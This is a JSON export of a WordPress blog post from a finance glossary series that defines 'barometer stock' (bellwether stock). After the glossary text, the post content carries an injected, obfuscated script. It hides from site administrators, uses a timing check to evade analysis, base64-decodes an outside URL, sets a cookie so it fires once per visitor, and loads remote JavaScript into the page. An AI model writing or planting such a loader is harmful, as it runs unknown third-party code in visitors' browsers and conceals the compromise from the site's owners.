{"id":3721,"date":"2017-12-04T16:03:29","date_gmt":"2017-12-04T10:33:29","guid":{"rendered":"https:\/\/financetapmi.wordpress.com\/?p=3721"},"modified":"2026-05-26T21:25:14","modified_gmt":"2026-05-26T20:25:14","slug":"fincabulary-26-barometer-stock","status":"publish","type":"post","link":"https:\/\/tapmi.finance\/index.php\/2017\/12\/04\/fincabulary-26-barometer-stock\/","title":{"rendered":"#Fincabulary 26 \u2013 Barometer Stock"},"content":{"rendered":"<p style=\"text-align:justify;\"><strong>Meaning<\/strong> \u2013 A security whose performance is considered to be an indicator of the performance of its particular sector or industry or the market as a whole. It is also referred to as a bellwether stock.<\/p>\n<p style=\"text-align:justify;\">Barometer stocks are usually large-cap equities or respected blue-chip stocks that signal a bullish market during periods of favorable performance and signal a bearish market during periods of unfavorable performance. Barometer stocks can have a large influence on the economic health of the country. Market analysts sometimes say something to the effect of, &#8220;What&#8217;s good for [barometer stock] is good for the country.&#8221;<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Meaning \u2013 A security whose performance is considered to be an indicator of the performance of its particular sector or industry or the market as a whole. It is also referred to as a bellwether stock. Barometer stocks are usually large-cap equities or respected blue-chip stocks that signal a bullish market during periods of favorable [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3721","post","type-post","status-publish","format-standard","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts\/3721","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/comments?post=3721"}],"version-history":[{"count":1,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts\/3721\/revisions"}],"predecessor-version":[{"id":16708,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts\/3721\/revisions\/16708"}],"wp:attachment":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/media?parent=3721"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/categories?post=3721"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/tags?post=3721"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}